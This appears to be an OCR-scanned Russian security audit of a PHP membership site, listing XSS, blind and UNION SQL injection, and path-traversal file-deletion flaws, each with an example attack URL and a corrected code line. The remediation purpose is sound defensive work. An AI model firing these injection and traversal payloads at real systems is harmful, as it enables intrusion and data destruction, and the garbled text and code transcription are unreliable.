darn "agenda.php”, str. 33:

echo "<tr><td bgcolor=f7f7f7><a

href=mem.php?mid=$p[id]><b>$p[login]</b></a></td>< td
bgcolor=f0f0fO><b>".(($p[ldate]>$logt)?"<font
color=ff6622>0nline</font>":"Offline")."</b></td>< td
bgcolor=f0f0f0>[ <a

href="agenda.php?pid=$p[id]&type=3'>admire</a> | < a
href="agenda.php?pid=%$p[id]&type=2">friend</a> | < a
href="agenda.php?pid=$p[id]&type=1'>favourite</a> |
<a href="agenda.php?pid=$pJ[id]&type=-1'>dislike</a > ]
[ <a href="agenda.php?pid=$p[id]&type=0'>remove</a > ]
<b>[</b><a

href="messages.php?to=$p[login]&subject=Hello!">

message </a><b>]</b></td></tr>";} else echo "<tr>< td

colspan=2> Empty.</td></tr>";?>
UcnpaejieHne ysi3BMMOCTMH.
3aMeHUTE Ha.
echo "<tr><td bgcolor=f7f7f7><a
href=mem.php?mid=$p[id]><b>".
htmlspecialchars($p[login])
S"</b></a></td><td bgcolor=f0f0of0><b>".
(($p[ldate]>$logt)?"<font
color=ff6622>0Online</font>"."
Offline")."</b></td><td bgcolor=f0f0f0>[ <a
href="agenda.php?pid=$p[id]&type=3'>admire</a>
| <a href="agenda.php?pid=$p[id]&type=2">friend</a >
| <a
href="agenda.php?pid=$p[id]&type=1">favourite</a>
| <a href="agenda.php?pid=$p[id]&type=- 1'>dislike</a>
]

31



[ <a href="agenda.php?pid=$p[id]&type=0'>remove</a > ]
<b>[</b><a href="'messages.php?to=".
htmispecialchars($p[login])."&subject=Hello!">

message </a><b>]</b></td></tr>";}

else echo "<tr><td colspan=2> Empty.</td></tr>";?>

[lpyMep MCHONBBOBAHMUS.
http://site/forgot.php
+ BpenoHocHw koxm B fname wmu Iname
Ysa8BUMBIL KOOI
damnn "forgot.php", str. 57:
echo "<center>";echo "Dear $ff[fname]
$ff[lname]!<br>";
UcnpaejieHne ysi3BMMOCTMH.
3aMeHUTb CTPOKY 97 Ha:
echo "<center>";echo "Dear
".htmlspecialchars($ff[fname])."
".htmlspecialchars($ff[lname])."<br>";

[lpyMep MCHONBBOBAHMUS.
/login.php?username=XSS&password=XSS &login=XS$S
Yas3BUMBIL KOQX.
d®ann "login.php", str. 40:
<td> <input type="text" name="login" value="<?php
echo $username; ?>" class=cmn> </td>
str.43:
<td> <input type="password" name="pswd" value="<?p hp
echo $password; ?>" class=cmn> </td>
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str. 67:
Dear user <? echo $login ?>,<br>
Ucnpaejienne ysiZBMMOCTMH.
BaMeHnTs cTpoky 40 Ha:
<td> <input type="text" name="login" value="<?php
echo htmlspecialchars($username); ?>" class=cmn>

</td>

3aMeHnThs CcTpoky 43 Ha:

<td> <input type="password" name="pswd" value="<?p hp
echo htmlspecialchars($password); ?>" class=cmn>

</td>

3aMeHUTH CTPOKY 67:
Dear user <? echo htmispecialchars($login) ?>,<br>

[lpyMep MCHONBEBOBAHMUS.
http://site/picture.php
POST message=XSS&subject=XSS
Yas3BUMBIL KOQX.
darin "picture.php”, str. 70:
<TD><INPUT SIZE=60 NAME='subject’' VALUE='<?php ech 0
$subject; ?2>"></INPUT> </TD>
str. 74:
<TD><TEXTAREA NAME='message' cols=60 rows="'4'
wrap='"PHYSICAL' id="message"><?php echo $message;
?></[TEXTAREA></TD>
UcnpaejieHne ysi3BMMOCTMH.
BaMeHnTs cTpoky /0 Ha:
<TD><INPUT SIZE=60 NAME='"subject' VALUE='<?php ech 0
htmispecialchars($subject); ?>'></INPUT> </TD>
3aMeHUTL CTPOKy /4 Ha:
<TD><TEXTAREA NAME='message' cols=60 rows="4'
wrap='"PHYSICAL' id="message"><?php echo
htmispecialchars($message); ?></TEXTAREA></TD>
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[IpyMep MCHIONBEBOBAHMUS.
http://site/profile.php
http://site/register.php
http://site/mem.php
http://site/editdetails.php
http://site/inc/*.php
Ysa3BUMEIL KOOI
Bce nossa npoomid nojgydaemele m3 Bl
UcnpaeBjieHne ysi3BMMOCTMH.
ObpaboTaTb BCe mnoJjiga OO BEBOOMMEIE Ha SKPAaH IPM [IOMOIM
byuxumm htmlspecialchars().
[lpMevaHnst.
llcipaBJieHHBle BepcuM QaMJIoOB OpuUilaTalnTCsa K OTUETY.

[lpyMep MCHONBEBOBAHMUS.
http://simple.ru/webmaster/ sgledit.php
TpeboBaHMSI!
1) IocTymn B MmaHeslb aIMMHUCTPUPOBAHMUSA
Yas3BUMBIL KOQX.

File “webmaster/ sqledit.php”
$r=q("select * from $table $conditions $order");
roe

$table =3 REQUEST['table';
$conditions=$ REQUEST['conditions'];
if (empty($order)) $order=$ REQUEST['order"];

IIO3BOJIAET BEIIIOJIHATLE IIPOMI3BOIOHEIE 3allpOCEl Ha om.




Ynanenue npomMBBOJBHEX annos

[lpyMep MCHNONBBOBAHMUS.

http://simple.ru/webmaster/approve pictures.php? dpid=1
&fn=../../index.php
TpeboBauus:

1) IJocTyn B HaHes b aIMUHMCTPUPOBAHUSA
Ya3BUMBIL KOQX.

File “/webmaster/approve_pictures.php”, str 19:

if (Istrstr($fn,"http™)) unlink("../pictures/".$f n);
UcnpaeBjeHne ysi3BUMMOCTMH.
B danne “webmaster/approve_pictures.php” BCTaBUTH
crpoku 13-15
$tn =% GET['n7;
$fn = str_replace(".",",$fn);
$fn = str_replace("/",",$fn);

SQ.-injection (blind)

[lpyMep MCHNONBBOBAHMUS.
http://simple.ru/webmaster/approve pictures.php?pid =1+
+and+substring(version(),1,1)=5+--+
TpeboBaHMs:

1) JocTyn B HaHes b aIMUHMCTPUPOBAHUSA
Yas3BUMEIL KOQX.

File “webmaster/approve_pictures.php”, str 18:

if ($pid) q("update pictures set status="1' where
id="$pid");
UcnpaeBjeHne ysi3BMMOCTMH.

B danne “webmaster/approve_pictures.php” 3aMEHUTH

cTpoky 9 Ha

$pid = (int) $_REQUEST['pid’;
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SQ.-injection (blind)

[lpyMep MCHNONBBOBAHMUS.

http://simple.ru/webmaster/approve pictures.php? dpid=1
+and+substring(version(),1,1)=5+--+
TpeboBaHMs:

1) JocTymn B naHes b aIMUHMCTPUPOBAHUS
Ysa83BUMEIL KOOI

File “webmaster/approve_pictures.php”, str 20:

g("delete from pictures where id="$dpid™);
UcnpaejieHne ysi3BMMOCTMH.

B o¢amne “webmaster/approve_pictures.php” 3aMEeHUTh
crpoky 10 Ha

$dpid = (int) $_ REQUEST['dpidT;

SQ.-injection (blind)

[lpyMep MCHNONBBOBAHMUS.
http://simple.ru/webmaster/approve pictures.php? dim=1
+and+substring(version(),1,1)=5+--+
TpeboBaHMs:

1) JocTymn B naHes b aIMUHMCTPUPOBAHUS
Ysas3BUMEIL KOOI

File “webmaster/approve_pictures.php”, str 24:

if ($dim) g("delete from images where id="$dim"); ?>
UcnpaeBjeHne ysi3BMMOCTMH.

B o¢amne “webmaster/approve_pictures.php” 3aMEeHUTh

crpoky 11 Ha
$dim = (int) $_REQUEST['dim';
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Active XSS

[lpyMep MCHNONBBOBAHMUS.

BanuTe Qanyl C chneumaJibHO COOPMUPOBAHHBIM MMEHEM WJIM

OIIMCaHMeM
TpeboBaHMs:

1) JocTymn B HaHes b aIMUHMCTPUPOBAHUS
Ysas3BUMEIL KOOI

File “admin/users.php”, str 33:

if (le($prl)) while ($pic=f($prl)){echo "<tr bgco
#FFFFFF\"><td bgcolor=\"#FOFOFO0O\"><a href="../pictu
?pid=$pic[id]"><img src="../".(piurl("$pic[picture]
' border=1 width=100 alt="$pic[details]></a></td><
(tagster_format($pic[details]))."</td><td bgcolor=\
FO\">".($pic[status]==0?"Pending Approval":"Deleted
mber")."</td><td> [ <a href="approve_pictures.php?p
c[id]'’>enable</a> ] [ <a href="approve_pictures.php
dpid=$pic[id]&dim=". $pic[image]."&fn=".$pic[pictur
e].">delete</a> ] </td></tr>";}

UcnpaeBjieHne ysi3BUMMOCTMH.

B oamne “webmaster/approve_pictures.php”
33 Hua

if (le($prl)) while ($pic=f($prl)){echo "<tr bgcol
#FFFFFF\"><td bgcolor=\"#FOFOFO0O\"><a href="../pictu
?pid=$pic[id]"><img src="../".(piurl("$pic[picture]
' border=1 width=100 alt="$pic[details]></a></td><
(tagster_format($pic[details]))."</td><td bgcolor=\
FO\">".($pic[status]==0?"Pending Approval":"Deleted
mber")."</td><td> [ <a href="approve_pictures.php?p
c[id]'>enable</a>] [ <a
href="approve_pictures.php?dpid=$pic[id]&dim=".htm|
alchars($pic[image])."&fn=".htmlspecialchars($pic[p
e]).">delete</a> | </td></tr>";}

3aMEeHMTb

lor=\"
re.php
)."
td>".
"#FOFO
by Me
id=$pi
?

e

CTPOKY

or=\"
re.php
")."
td>".
"#FOFO
by Me
id=$pi

speci
icture
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Passi ve XSS

[lpyMep MCHNONBBOBAHMUS.
http://simple.ru/webmaster/header.php?
?login="><script>alert()</script>
TpeboBaHMs:

1. JocTyn B maHesb aIMUHUCTPUPOBAHUMA
YsasBuMEIL KOOI

File “webmaster/ header.php”, str 13:

<td colspan=2 bgcolor="Ffffff"><br><h4><img
src=images/command.ico border=0 align=absmiddle><?p hp
echo "Webmaster Area : $admin_login"; ?></h4>
UcnpaejieHne ysi3BMMOCTMH.

B oamne “webmaster/  header.php” 3aMeHUThL CTPoky 13 Ha
<td colspan=2 bgcolor="Ffffff"><br><h4><img
src=images/command.ico border=0 align=absmiddle><?p hp

echo "Webmaster Area :
".htmlspecialchars($admin_login); ?></h4>

Active XSS
[IlpyMep MCHONBBOBAHMUS.
http://simple.ru/webmaster/header.php? + HEKOPPEKTHOEe
onmcaHue B Oz.
TpeboBaHMs:

1) JocTymn B nHaHes b aIMUHMCTPUPOBAHUS
Ysa8BUMEIL KOOI

File “webmaster/ header.php”, str 31.:
echo "<li type=square><a href=\"".$pro.$m[link]."\ ">
<font size=2><B>$m|[topic]</B></a></font></l; i>";

else echo "<BR><BR> <b><font class=admintitle><f ont

size=2>%m|[topic]</font></font></b>";
Ucnpaejienne ysi3BMMOCTMH.

B oamne “webmaster/  header.php” 3aMeHUThL CTPokKy 31 Ha
echo "<li type=square><a
href=\"".$pro.htmlspecialchars($m[link])."\"><font
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size=2><B>".htmispecialchars($m][topic])."</B></a></ font>
</l; i>";

else echo "<BR><BR> <b><font class=admintitle><f ont
size=2>".htmlspecialchars($m[topic])."</font></font >
</b>";
Active XSS

[IpyMep MCIONBEBOBAHMUS.
http://simple.ru/webmaster/deletemember.php
+rnpenBapUTEesIbHO 3aperUMCTPUPOBAHHEIM I10JIb30BATEJIL C
crneumaabHo chopMupoBaHHEIMM mnoJsiamu login, fname, Iname
“><script>alert()</script>
TpeboBauus:

1) JocTyn B HaHes b aIMUHMCTPUPOBAHUSA
YasBUMEIL KOQX.

File “webmaster/deletemember.php”, str 23:

echo "<b>DELETE MEMBER !</b><br><br>Username :
$mem[login]<br>Full name : $mem[fname]
$mem([lname]<br>Email : $mem[email]<br><br>Are you s ure
you want to delete this member with all attached
Information (pictures, inbox messages, profile) ?
<B><a
href=deletemember.php?mid=$id&id=$%id&sure=1>YESI!</a >
</B>"
UcnpaeBjieHne ysi3BUMMOCTMH.

B o¢amne “webmaster/deletemember.php ” 3aMEHUTL CTPOKY
23 Ha

echo "<b>DELETE MEMBER !</b><br><br>Username :
".htmlispecialchars($mem|login])."<br>Full name :
".htmlspecialchars($mem[fname])."
".htmlspecialchars($mem[lname])."<br>Email :
".htmlspecialchars($mem[email])."<br><br>Are you su re
you want to delete this member with all attached
information (pictures, inbox messages, profile) ?
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<B><a href=deletemember.php?mid=$id&id=$id&sure=1>Y ES!
</a></B>":

Active XSS

[IpyMep MCHONBBOBAHMUS.
http://simple.ru/webmaster/editrank.php +crenmanbHO
COOPMUPOBAHHEIM JIOTMH II0JIb30BaTEJIA
“><script>alert()</script>
TpeboBauus:
1) IocTymnm B naHes b aIMUHMCTPUPOBAHUSA
Yas3BUMBIL KOQX.
File “webmaster/ editrank.php”, str 28:
<td> <?php echo $mem[login];?></td>
UcnpaeijieHne ysi3BMMOCTMH.
B damnsne “webmaster/  editrank.php” 3aMEHUTH CTPOKY 28
Ha
<td> <?php echo htmispecialchars($mem|login]);?></ td>

Active XSS

[lpyMep MCHONBEBOBAHMUS.
http://simple.ru/webmaster/editrank.php +crneuranbHO
cbopMmupoBauHur T “><script>alert()</script>
TpeboBauus:
1) IocTymn B naHes b aIMUHMCTPUPOBAHUMA
Ya83BUMEIL KOQX.
File “webmaster/ editrank.php”, str 32:
<td> <input name="rank" type="text" id="rank"
value="<?php echo $pr[type]; ?>"></td>
UcnpaejieHne ysi3BMMOCTMH.
B damnne “webmaster/  editrank.php” 3aMEHUTH CTPOKY 32
Ha
<td> <input name="rank" type="text" id="rank"
value="<?php echo htmlspecialchars($pr[type));
?>"><td>
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Active XSS

[lpyMep MCHNONBBOBAHMUS.
http://simple.ru/webmaster/post.php +crenmasnbHO
COOPMUPOBAHHEIM JIOT'MH II0OJIb30BATEJIA MM I[1apOJib
“><script>alert()</script>
TpeboBauus:

1) IJocTyn B HaHes b aIMUHMCTPUPOBAHUSA
Yas3BUMBIL KOQX.

File “webmaster/ editrank.php”, str 38-39:
clink=>$ROOT_HOST."confirm.php?mid=".urlencode($mem
[login])."&stamp=$mem|rdate]",
loginlink=>$ROOT_HOST."login.php?username=$mem|logi n]
&password=$mem[pswd]

UcnpaeBjieHne ysi3BMMOCTMH.

B o¢amne “webmaster/  post.php” 3aMEeHUThL CTPOKy 38-39
Ha
clink=>$ROOT_HOST."confirm.php?mid=".htmlspecialch ars
($mem([login])."&stamp=$mem][rdate]",
loginlink=>$ROOT_HOST."login.php?username=".htmlspe cia
Ichars($mem([login])."&password=".htmlspecialchars($ mem
[pswd])

Active XSS
[lpyMep MCHONBBOBAHMUS.
http://simple.ru/webmaster/process.php +crenmanbHO
chbopMupOBaHHLEIM 3aroJjioBok “><script>alert()</script>
TpeboBaHMs:

1) JocTymn B HaHes b aIMUHMCTPUPOBAHUSA
Ya83BUMEIL KOQX.

File “webmaster/ editrank.php”, str 55:

echo "<tr><td bgcolor=FOFOFO
align=center><b>%$evl[title]</b></td></tr>";};
UcnpaeBjieHne ysi3BUMMOCTMH.
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B oamne “webmaster/  process.php” 3aMEeHUThL CTPOKY 55
Ha

echo "<tr><td bgcolor=FOFOFO0
align=center><b>".htmlspecialchars($evf[title])."</b >
<ftd></tr>";};

Active XSS
[IpyMep MCHONBEBOBAHMUS.
http://simple.ru/webmaster/ process.php  +cneumanbHO
cbhopmupoBanHoe comepxmumoe “><script>alert()</script>

TpeboBaHMs:

1) JocTymn B naHes b aIMUHMCTPUPOBAHUS
Ysa8BUMEIL KOOI

File “webmaster/ process.php”, str 44:

echo "<tr><td
bgcolor=FFFFFF>$ev[contents]</td></tr>";};
UcnpaejieHne ysi3BMMOCTMH.

B o¢amne “webmaster/  process.php” 3aMEeHUThL CTpoky 44
Ha

echo "<tr><td bgcolor=FFFFFF>".htmlspecialchars(
$ev[contents])."</td></tr>";};
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Active XSS

[lpyMep MCHNONBBOBAHMUS.

http://simple.ru/webmaster/ process.php  +cneumanbHO
cbhopMupoBaHHLEI 3aroJioBOK “><script>alert()</script>
TpeboBaHMs:

1) JocTymn B naHes b aIMUHMCTPUPOBAHUS
Ysa8BUMEIL KOOI
File “webmaster/ process.php”, str 43:

echo "<tr><td bgcolor=EOEOEO>$t1</td></tr>";echo
"<tr><td bgcolor=FOFOFO
align=center><b>%$evl[title]</b></td></tr>",;
Ucnpaejienne ysi3BMMOCTMH.

B o¢amne “webmaster/  process.php” 3aMeHUTL CTPoky 43
Ha

echo "<tr><td bgcolor=EOEOEO>$t1</td></tr>";echo
"<tr><td bgcolor=FOFOFO0 align=center><b>".
htmlspecialchars($ev[title])."</b></td></tr>";

Active XSS
[IlpyMep MCHONBBOBAHMUS.
http://simple.ru/webmaster/ process.php  +crneumanbHO
cbhopmmporanHoe noje credits “><script>alert()</script>
TpeboBaHMs:

1) JocTymn B HaHes b aIMUHMCTPUPOBAHUS
Ysa8BUMEIL KOOI
File “webmaster/ process.php”, str 39:
if ($ev[credits]) $t1.=" ($ev[credits]) &nbsp; ";
UcnpaeBjieHne ysi3BUMMOCTMH.
B odanse “webmaster/  process.php” 3aMEeHUTH CTPOKYy 39
Ha
if ($ev[credits]) $t1.="
(".htmispecialchars($ev|[credits])." &nbsp; ";
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SQ.-i njection

[lpyMep MCHNONBBOBAHMUS.
http://simple.ru/webmaster/process.php
?cl=union+select+1,version(),2,3,4,5,6,7,8+--+
TpeboBaHMs:

1) JocTymn B naHes b aIMUHMCTPUPOBAHUS
Ysa8BUMEIL KOOI

File “webmaster/process.php”, str 48:

$r=q("select id, sender, title, type, credits,

status, rdate, contents from event where status=1 a nd
(type='withdraw' or type='payment’) $c1 ORDER BY rd ate
DESC");
UcnpaeBjeHne ysi3BMMOCTMH.

B danmne “ webmaster/process.php ” 3aMeHUTHL CTpoky 48
Ha

$r=q("select id, sender, title, type, credits,
status, rdate, contents from event where status=1 a nd
(type='withdraw' or type='payment') ORDER BY rdate
DESC");

Active XSS

[lpyMep MCHIONBEBOBAHMUS.

http://simple.ru/webmaster/ cashbonus.php +cneumanwvuo
cbhopmupoBanHoe noJie login “><script>alert()</script>
TpeboBaHMs:

1) JocTymn B nHaHes b aIMUHMCTPUPOBAHUS
Ysa8BUMEIL KOOI

File “webmaster/ cashbonus.php”, str 48:

if (e($r)) while ($bon=f($r)) echo "<tr
bgcolor=F7F7F7
align=center><td>$bon[mid]</td><td><a
href="login.php?
id=$bon[mid]'>$bon[login]</a></td>
<td>$bon[rate]</td><td>$bon[amount]</td><td>|
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<a href="cashbonus.php?processid=$bon[mid]'>payment
was sent</A> |</td></tr>";echo "</table><br>";
Ucnpaejienne ysi3BMMOCTMH.

B damnne “webmaster/  cashbonus.php” 3aMeHUTh CTpoky 48
Ha

if (e($r)) while ($bon=f($r)) echo "<tr
bgcolor=F7F7F7

align=center><td>$bon[mid]</td><td><a
href="login.php?id=$bon[mid]'>".htmlIspecialchars
($bon[login])."</a></td><td>$bon[rate]</td><td>
$bon[amount]</td><td>[ <a
href='cashbonus.php?processid=$bon[mid]'>payment wa S
sent</A> |</td></tr>";echo "</table><br>";

SQL-inj ection (Blind)

[lpyMep MCHONBEBOBAHMUS.
http://simple.ru/webmaster/importl.php ?fax=1",",1,
+if((substring(
version(),1,1)=5),1,(select+1+union+select+2))+--+
Unmu uepes omHo c mpyrmux noJei (City, state, zip,
phone, country)
TpeboBaHMs:
1) JocTymn B nHaHes b aIMUHMCTPUPOBAHUS
2) magic_quotes_gpc = Off
Yas3BUMBIL KOQX.

File “webmaster/ importl.php”, str 29:

$gl="insert into members values('0','Sold[username I,
'$old[email]','$fname’,'SIname’,'Sold[email]’,'$cit Y,
‘$state’, '$country’,'$zip’,'$phone’, $fax’,
"1 '$dtl")"
UcnpaejieHne ysi3BMMOCTMH.

B oamne “webmaster/  importl.php ” 3aMEeHUTL CTPOKY 29
Ha

$qgl="insert into members values('0’','$old[username I,
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'$old[email]','$fname’,
‘$lname’,'$old[email]',".quote_smart($city).",

.quote_smart($state).™,".quote_smart($country). ,

".quote_smart($fax).™,",'1’",'sdt1")";

SQ.-inj ection (Blind)

[lpyMep MCHONBBOBAHMUS.
http://simple.ru/webmaster/importl.php ?ethnicity
=207 ) +if((substring(
version(),1,1)=5),1,(select+1+union+select+2))+--+
Unn uepes omHo c mpyrux nodsei (birthdate, ethnicity)
TpeboBauus:
1) IJocTyn B HaHes b aIMUHMCTPUPOBAHUSA
2) magic_quotes _gpc = Off
Ysas3BUMEIL KOOI
File “webmaster/ cashbonus.php”, str 41.:
g("insert into profiles values('$member[id]’,".
$birthdate.™,",",",",'$old[sex]’,'$old
[lo_sex]','$old[marital]','$old[height]','$old[weig ht]’

'$old[hair]',",'$old[occupation]’,'$old[details],

'1','$dt1")"); icnpaBneHne ysi3BUMMOCTM.

B odamne “webmaster/  importl.php” 3aMeHUuTsL cTpoky 41 Ha
g("insert into profiles values(‘$member[id]’,".
quote_smart($birthdate).™,",",",",'$old[sex]’, ‘$old
[lo_sex]','$old[marital]','$old[height]','$old[weig ht]’

'$old[hair]',",'$old[occupation]’,'$old[details],
'1','$dt1")");
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Passi ve XSS

[lpyMep MCHNONBBOBAHMUS.

http://simple.ru/webmaster/ sqledit.php?
table="><script>alert()</script> s conditions
TpeboBaHMs:

1) JocTymn B nHaHes b aIMUHMCTPUPOBAHUS
Ysa8BUMEIL KOOI

File “webmaster/ sgledit.php”, str 112,113,119:
"<script>document.location="sqledit.php?table=$tabl e
&conditions=%conditions';</script>";
UcnpaejieHne ysi3BMMOCTMH.

B damnne “webmaster/  sqledit.php” 3aMEHUTH CTPOKY
112,113,119 =Ha

echo "<script>document.location="'sqledit.php?table ="
htmlspecialchars($table)."&conditions=".htmlspecial chars
($conditions).™;</script>";

Passi ve XSS
[lpyMep MCHNONBBOBAHMUS.
http://simple.ru/webmaster/ sgledit.php?
table="><script>alert()</script> s conditions

TpeboBaHus:

1) JocTymn B naHes b aIMUHMCTPUPOBAHUS
Yas3BUMEIL KOQX.

File “webmaster/ sqledit.php”, str 98:
echo "<TR><TD><INPUT type=button value='Cancel'
onclick=\"history.go(-1);\"></TD><TD><INPUT type=re set
value='Reset to default'’><INPUT type='Submit'
value='Insert Data'><INPUT type=hidden name="'modify '
value='insert><INPUT type=hidden name="table'
value="$table’><INPUT type=hidden name='id' value="' -
1'></TD></TR>";
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UcnpaejieHne ysi3BMMOCTMH.

B damnne “webmaster/  sqledit.php” 3aMeHUTh CTpoky 98
Ha

echo "<TR><TD><INPUT type=button value='Cancel'
onclick=\"history.go(-1);\"></TD><TD><INPUT type=re set

value='Reset to default’><INPUT type='Submit'

value='Insert Data'><INPUT type=hidden name="modify '
value='insert><INPUT type=hidden name="table'
value="".htmlspecialchars($table).”"><INPUT

type=hidden name='id' value="-1"></TD></TR>";

Passi ve XSS
[lpyMep MCHNONBEBOBAHMUS.
http://simple.ru/webmaster/ sgledit.php? tabdetails
=“><script>alert()</script>
TpeboBaHMs:

1) JocTymn B nHaHes b aIMUHMCTPUPOBAHUS
Ysa8BUMEIL KOOI
File “webmaster/ sgledit.php”, str 49:
echo "$tabdetails <br><br>";
cnpaBleHne ysiBBMMOCTM.
B o¢amne “webmaster/  sqgledit.php ” 3aMeHUTL CcTpoky 49
Ha
echo htmlspecialchars($tabdetails).” <br><br>";
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Passi ve XSS

[lpyMep MCHNONBBOBAHMUS.
http://simple.ru/webmaster/
sqgledit.php?table="><script>alert()</script
TpeboBaHMs:
1) JocTymn B naHes b aIMUHMCTPUPOBAHUS
Ysa83BUMEIL KOOI
File “webmaster/ sgledit.php”, str 37:
echo "SHOW FIELDS FROM $table";
UcnpaejieHne ysi3BMMOCTMH.
B o¢amne “webmaster/  sqgledit.php ” 3aMEeHUTL CTPOKY 37

Ha
echo "SHOW FIELDS FROM ".htmlspecialchars($table);

Passi ve XSS

[lpyMep MCHONBBOBAHMUS.
http://simple.ru/webmaster/
sgledit.php?table="“><script>alert()</script
TpeboBauus:

1) IJocTyn B HaHes b aIMUHMCTPUPOBAHUSA
Yas3BUMBIL KOQX.
File “webmaster/ sgledit.php”, str 54:

if ($addentry) echo "<br><b><a
href=sqgledit.php?table=$table&modify=add&id=-1>ADD
NEW</a></b><BR>";
UcnpaeBjieHne ysi3BMMOCTMH.

B odamnne “webmaster/  sqledit.php” 3aMEeHUTH CTPOKy 54
Ha

if ($addentry) echo "<br><b><a
href=sqgledit.php?table=".htmlspecialchars($table)."
&modify=add&id=-1>ADD NEW</a></b><BR>";
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Passi ve XSS

[lpyMep MCHNONBBOBAHMUS.
http://simple.ru/webmaster/sgledit.php?conditions
="><script>alert()</script nnm order
TpeboBaHus:

2) JocTyn B MaHejb AaIMUHUCTPUPOBAHNA
Ysa8BUMEIL KOOI
File “webmaster/ sqledit.php”, str 56:
if (e($r)) echo "No entries found ! ($conditions

Sorder)";

UcnpaeBjieHne ysi3BMMOCTMH.

B damnne “webmaster/  sqledit.php” 3aMEHUTH CTPOKY 96
Ha

if (e($r)) echo "No entries found !
(".htmlspecialchars($conditions)."
".htmlspecialchars($order).")";

Passi ve XSS

[lpyMep MCHNONBBOBAHMUS.
http://simple.ru/webmaster/sgledit.php?conditions
="><script>alert()</script nnu table
TpeboBaHMs:

3) HocTyn B naHejb aIMUHUCTPUPOBAHNA
Yas3BUMBIL KOQX.
echo "<TD bgcolor=#D0D0D0><B><A href=\"sqledit.php?
table=$table&conditions=$conditions&order=order by
Sfield[$i|\">". $fieldn[$field[$i]]."</A></B></TD>";

echo "</TR>";
UcnpaejieHne ysi3BMMOCTMH.

B o¢amne “webmaster/  sqgledit.php ” 3aMEeHUTL CTPOKY 62
Ha

echo "<TD bgcolor=#D0D0D0><B><A
href=\"sqgledit.php?table=".htmispecialchars($table) :
"&conditions=".htmlspecialchars($conditions)."&orde r=
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order by
$field[$i]\">". $fieldn[$field[$i]]."</A></B></TD>"
;echo "</TR>";).")";

Muoxecreennsie SQL-i njection (blind)

[IpyMep MCHONBEBOBAHMUS.
http://simple.ru/webmaster/ cashbonus.php
POST: rate=[SQL]& rate=[SQL]
TpeboBaHMs:
1) JocTyn B nNaHesN b aIMMHUCTPUPOBAHUS
2) magic_quotes_gpc = Off
YaA83BUMBIL KOQX.

File “webmaster/ cashbonus.php”, str 19-20:

if ($rate){if ($target==0) q("update cash set
rate="$rate’ where 1");

if ($target==3) g("update cash set rate="$rate' whe re
mid="$mid"");}?>
UcnpaeBjieHne ysi3BUMMOCTMH.

B o¢amne “ webmaster/ cashbonus.php” 3aMEHUTL CTPOKY
11-14 =na

if lempty($_POST['rate']))
$rate=(int)$_POST['rateT;

else $rate=0;

if (lempty($_POST['mid'])) $mid=(int)$_POST['mid’];
else $mid=0;
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SQ.-injection (blind)

[lpyMep MCHNONBBOBAHMUS.
http://simple.ru/webmaster/ cashbonus.php?
processid=[SQL]
TpeboBaHMs:
1) JocTyn B nNaHesN b aIMMHMCTPUPOBAHUS
2) magic_quotes_gpc = Off
Yas3BUMBIL KOQX.

File “webmaster/ cashbonus.php”, str 45:

if ($processid){q("update cash set amount=0 where
mid="$processid™);};
UcnpaeBjieHne ysi3BUMMOCTMH.

B o¢amne “ webmaster/ cashbonus.php” 3aMEHUTL CTPOKY
43 Ha

$processid = (int)$ REQUEST['processidT;

MuoxecTBennsle SQL-i nj ection

[lpyMep MCHNONBBOBAHMUS.

http://simple.ru/webmaster/ deletemember.php?
Id=[SQL]&mid=[SQL]
TpeboBaHMs:
1) IocTyn B HNaHeN b aIMMHUCTPUPOBAHUHA
2) magic_quotes_gpc = Off
Ysas3BUMEIL KOOI

File “webmaster/ deletemember.php”, str 15-21.:

if (Pdisable_member_delete){echo "Feature Disable d.
You can enable it from settings.php if you are the
webmaster of the websites.";exit;};
$r=q("UPDATE pictures set status=3 where
member="$mid"");
$r=q("DELETE FROM event where user_id="$mid");
$r=q("DELETE FROM members where id="$mid");
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$r=q("DELETE FROM profiles where id="$mid");
echo " Deleted.";}
else{$mem=f(q("select * from members where
id="$id"));
UcnpaeijieHne ysi3BMMOCTMH.
B danne “ webmaster/ deletemember.php ” 3aMEHUTH
crpoky 10-11  Ha
if (lempty($_REQUEST['id"])) $id =
(int)$ REQUEST['id;
if (lempty($_REQUEST['mid'])) $mid =
(int)$ REQUEST['mid']

MuoxecTBennsle SQL-i nj ection

[lpyMep MCHONBEBOBAHMUS.
http://simple.ru/webmaster/ editrank.php?
Id=[SQL]&mid=[SQL]

TpeboBaHMs:

3) HocTyn B naHesb AIMUHUCTPUPOBAHMA
4) magic_guotes gpc = Off

YaA3BUMBIL KOQX.

File “webmaster/ editrank.php”, str 19-24:

if ($rank){
$r=q("UPDATE profiles set type='$rank' where
id="$id");
echo "<br> Rank $rank set for user ID $id .";
3
$mem=f(q("select * from members where id="$id™));
$pr=f(q("select * from profiles where id="$id"));? >
cnpaBlleHne ysiBBMMOCTM.
B oamne “ webmaster/ editrank.php ” 3aMEHUTL CTPOKY
14-17 =Ha

else $id=(int)$_REQUEST['id";
if (empty($_REQUEST['rank'])) $rank=0;
else $rank=(int)$ REQUEST['id";
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MuoxecTBennsle SQL-i nj ection

[lpyMep MCHNONBBOBAHMUS.
http://simple.ru/webmaster/ editrank.php?
Id=[SQL]&mid=[SQL]

TpeboBaHMs:

5) HocTyn B naHejsb aIMUHUCTPUPOBAHMA
6) magic_quotes_gpc = Off

Yas3BUMEIL KOQX.

File “webmaster/ editrank.php”, str 19-24:

if ($rank){
$r=g("UPDATE profiles set type="$rank' where
id="$id");
echo "<br> Rank $rank set for user ID $id .";
I3
$mem=f(q("select * from members where id="$id™));
$pr=f(q("select * from profiles where id="$id""));? >
UcnpaejieHne ysi3BMMOCTMH.
B damnse “ webmaster/ editrank.php ” 3aMEHUTH CTPOKY
14-17 =na

else $id=(int)$ REQUESTT'id";

if (empty($_REQUEST['rank'])) $rank=0;
else $rank=(int)$ REQUEST['id1;

Ceobomuemi mocTyn k pPhpi nfo()

[lpyMep MCHONBEBOBAHMUS.

http://simple.ru/phpinfo.php

http://simple.ru/requirements.php

UcnpaejieHne ysi3BMMOCTMH.

1) VYmamurs darna phpinfo.php

2) B odarue requirements.php yonanuTe cTpokwu 18-22




[IpyMep MCHIONBEBOBAHMUS.
http://simple.ru/index.bak
http://simple.ru/profile.bak

cnpaBleHne ysiBBMMOCTM.

Yonanurhs Bce OGaiye ¢ pacumpeHreM .bak

Ucnpaejienne ysi3BMMOCTMH.
B damn “.htaccess” IOBaBUTL CTPOUYKY:.
php_flag display_errors off

[lpyMep MCHONBEBOBAHMUS.

http://simple.ru/webmaster/ variants/

UcnpaeBjieHne ysi3BMMOCTMH.

IobaeuThs B OupekTopupo «webmaster/ variants/» dbarn
